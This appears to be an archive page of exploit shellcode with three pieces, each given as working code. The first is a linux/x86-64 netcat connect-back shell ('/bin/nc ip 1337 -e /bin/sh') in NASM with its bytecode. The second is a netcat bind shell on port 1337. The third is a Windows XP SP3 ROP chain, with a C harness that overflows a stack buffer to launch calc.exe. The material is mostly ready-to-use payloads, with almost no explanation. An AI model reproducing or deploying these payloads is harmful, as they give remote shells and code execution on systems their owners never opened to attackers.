Archive for shellcode

28 linux/x86-64 connect-back shell with netcat 109 bytes

28 linux/x86-64 connect-back shell with netcat 109 bytes shellcode

;   {   Title: Shellcode linux/x86-64 connect back shell    }
 
;    Author    : Gaussillusion  
;    Len       : 109 byte   
;    Language  : Nasm
 
;syscall: execve("/bin/nc",{"/bin/nc","ip","1337","-e","/bin/sh"},NULL)
 
BITS 64
xor     rdx,rdx
mov     rdi,0x636e2f6e69622fff
shr     rdi,0x08
push    rdi
mov     rdi,rsp
 
mov     rcx,0x68732f6e69622fff 
shr     rcx,0x08
push    rcx
mov     rcx,rsp 
 
mov     rbx,0x652dffffffffffff
shr     rbx,0x30
push    rbx
mov     rbx,rsp 
 
mov     r10,0x37333331ffffffff
shr     r10,0x20
push    r10
mov     r10,rsp 
 
jmp short ip
continue:
pop r9
 
push    rdx  ;push NULL
push    rcx  ;push address of 'bin/sh'
push    rbx  ;push address of '-e'
push    r10  ;push address of '1337'
push    r9   ;push address of 'ip'
push    rdi  ;push address of '/bin/nc'
 
mov     rsi,rsp
mov     al,59
syscall
 
 
ip:
call  continue
db "127.0.0.1"
 
 
 
;______________________bytecode_______________________
;\x48\x31\xd2\x48\xbf\xff\x2f\x62\x69\x6e\x2f\x6e\x63
;\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb9\xff\x2f\x62
;\x69\x6e\x2f\x73\x68\x48\xc1\xe9\x08\x51\x48\x89\xe1
;\x48\xbb\xff\xff\xff\xff\xff\xff\x2d\x65\x48\xc1\xeb
;\x30\x53\x48\x89\xe3\x49\xba\xff\xff\xff\xff\x31\x33
;\x33\x37\x49\xc1\xea\x20\x41\x52\x49\x89\xe2\xeb\x11
;\x41\x59\x52\x51\x53\x41\x52\x41\x51\x57\x48\x89\xe6
;\xb0\x3b\x0f\x05\xe8\xea\xff\xff\xff\x31\x32\x37\x2e
;\x30\x2e\x30\x2e\x31
;______________________bytecode_______________________

linux/x86-64 bind-shell with netcat 131 bytes shellcode

linux/x86-64 bind-shell with netcat 131 bytes shellcode

;   {   Title: Shellcode linux/x86-64 bind-shell with netcat    }
 
;    Author    : Gaussillusion  
;    Len       : 131 byte   
;    Language  : asm
 
 
 
BITS 64
xor     rdx,rdx
mov     rdi,0x636e2f6e69622fff
shr     rdi,0x08
push    rdi
mov     rdi,rsp
 
mov     rcx,0x68732f6e69622fff 
shr     rcx,0x08
push    rcx
mov     rcx,rsp 
 
mov     rbx,0x652dffffffffffff
shr     rbx,0x30
push    rbx
mov     rbx,rsp 
 
mov     r10,0x37333331ffffffff
shr     r10,0x20
push    r10
mov     r10,rsp 
 
mov     r9,0x702dffffffffffff
shr     r9,0x30
push    r9
mov     r9,rsp  
 
mov     r8,0x6c2dffffffffffff
shr     r8,0x30
push    r8
mov     r8,rsp   
 
push    rdx  ;push NULL
push    rcx  ;push address of 'bin/sh'
push    rbx  ;push address of '-e'
push    r10  ;push address of '1337'
push    r9   ;push address of '-pì
push    r8   ;push address of '-l'
push    rdi  ;push address of '/bin/nc'
 
mov     rsi,rsp
mov     al,59
syscall
 
;   _bytecode_start_
;\x48\x31\xd2\x48\xbf\xff\x2f\x62\x69\x6e\x2f\x6e\x63
;\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb9\xff\x2f\x62 
;\x69\x6e\x2f\x73\x68\x48\xc1\xe9\x08\x51\x48\x89\xe1
;\x48\xbb\xff\xff\xff\xff\xff\xff\x2d\x65\x48\xc1\xeb
;\x30\x53\x48\x89\xe3\x49\xba\xff\xff\xff\xff\x31\x33 
;\x33\x37\x49\xc1\xea\x20\x41\x52\x49\x89\xe2\x49\xb9
;\xff\xff\xff\xff\xff\xff\x2d\x70\x49\xc1\xe9\x30\x41
;\x51\x49\x89\xe1\x49\xb8\xff\xff\xff\xff\xff\xff\x2d
;\x6c\x49\xc1\xe8\x30\x41\x50\x49\x89\xe0\x52\x51\x53
;\x41\x52\x41\x51\x41\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05
;   _bytecode_end_

win32/xp sp3 – Full ROP calc shellcode

win32/xp sp3 – Full ROP calc shellcode

/*
Shellcode: Windows XP PRO SP3 - Full ROP calc shellcode
Author: b33f (http://www.fuzzysecurity.com/)
Notes: This is probably not the most efficient way but
I gave the dll's a run for their money ;))
Greets: Donato, Jahmel
 
OS-DLL's used:
Base    |    Top     |   Size     |    Version (Important!)
___________|____________|____________|_____________________________
0x7c800000 | 0x7c8f6000 | 0x000f6000 | 5.1.2600.5781 [kernel32.dll]
0x7c900000 | 0x7c9b2000 | 0x000b2000 | 5.1.2600.6055 [ntdll.dll]
0x7e410000 | 0x7e4a1000 | 0x00091000 | 5.1.2600.5512 [USER32.dll]
 
UINT WINAPI WinExec(            => PTR to WinExec
__in  LPCSTR lpCmdLine,       => C:\WINDOWS\system32\calc.exe+00000000
__in  UINT uCmdShow           => 0x1
);
*/
 
#include <iostream>
#include "windows.h"
 
char shellcode[]=
"\xb1\x4f\x97\x7c"  // POP ECX # RETN
"\xf9\x10\x47\x7e"  // Writable PTR USER32.dll
"\x27\xfa\x87\x7c"  // POP EDX # POP EAX # RETN
"\x43\x3a\x5c\x57"  // ASCII "C:\W"
"\x49\x4e\x44\x4f"  // ASCII "INDO"
"\x04\x18\x80\x7c"  // MOV DWORD PTR DS:[ECX],EDX # MOV DWORD PTR DS:[ECX+4],EAX # POP EBP # RETN 04
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\xe5\x02\x88\x7c"  // POP EAX # RETN
"\x57\x53\x5c\x73"  // ASCII "WS\s"
"\x38\xd6\x46\x7e"  // MOV DWORD PTR DS:[ECX+8],EAX # POP ESI # POP EBP # RETN 08
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\xe5\x02\x88\x7c"  // POP EAX # RETN
"\x79\x73\x74\x65"  // ASCII "yste"
"\xcb\xbe\x45\x7e"  // MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\xe5\x02\x88\x7c"  // POP EAX # RETN
"\x63\x61\x6c\x63"  // ASCII "calc"
"\x31\xa9\x91\x7c"  // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\xe5\x02\x88\x7c"  // POP EAX # RETN
"\x6d\x33\x32\x5c"  // ASCII "m32\"
"\xcb\xbe\x45\x7e"  // MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\xe5\x02\x88\x7c"  // POP EAX # RETN
"\x2e\x65\x78\x65"  // ASCII ".exe"
"\x31\xa9\x91\x7c"  // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\x9e\x2e\x92\x7c"  // XOR EAX,EAX # RETN
"\x31\xa9\x91\x7c"  // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
//-------------------------------------------["C:\WINDOWS\system32\calc.exe+00000000" -> ecx]-//
"\xe5\x02\x88\x7c"  // POP EAX # RETN
"\x7a\xeb\xc3\x6f"  // Should result in a valid PTR in kernel32.dll
"\x4f\xda\x85\x7c"  // PUSH ESP # ADC BYTE PTR DS:[EAX+CC4837C],AL # XOR EAX,EAX # INC EAX # POP EDI # POP EBP # RETN 08
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x32\xd9\x44\x7e"  // XCHG EAX,EDI # RETN
"\x62\x28\x97\x7c"  // ADD EAX,20 # POP EBP # RETN
"\x8a\x20\x87\x7c"  // Compensate POP
"\x62\x28\x97\x7c"  // ADD EAX,20 # POP EBP # RETN
"\x8a\x20\x87\x7c"  // Compensate POP
"\x62\x28\x97\x7c"  // ADD EAX,20 # POP EBP # RETN
"\x8a\x20\x87\x7c"  // Compensate POP
"\x62\x28\x97\x7c"  // ADD EAX,20 # POP EBP # RETN
"\x8a\x20\x87\x7c"  // Compensate POP
//-----------------------------------------------------------[Save Stack Pointer + pivot eax]-//
"\xd6\xd1\x95\x7c"  // MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x33\x80\x97\x7c"  // INC EAX # RETN
"\x33\x80\x97\x7c"  // INC EAX # RETN
"\x33\x80\x97\x7c"  // INC EAX # RETN
"\x33\x80\x97\x7c"  // INC EAX # RETN
"\xf5\xd6\x91\x7c"  // XOR ECX,ECX # RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\xd6\xd1\x95\x7c"  // MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\xb1\x4f\x97\x7c"  // POP ECX # RETN
"\xed\x2a\x86\x7c"  // WinExec()
"\xe7\xc1\x87\x7c"  // MOV DWORD PTR DS:[EAX+4],ECX # XOR EAX,EAX # POP EBP # RETN 04
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Final RETN for WinExec()
"\x8a\x20\x87\x7c"; // Compensate WinExec()
//------------------------------------------------------[Write Arguments and execute -> calc]-//
 
void buff() {
char a;
memcpy((&a)+5, shellcode, sizeof(shellcode)); // Compiler dependent, works with Dev-C++ 4.9
}
 
int main()
{
LoadLibrary("USER32.dll"); // we need this dll
char buf[1024];
buff();
return 0;
}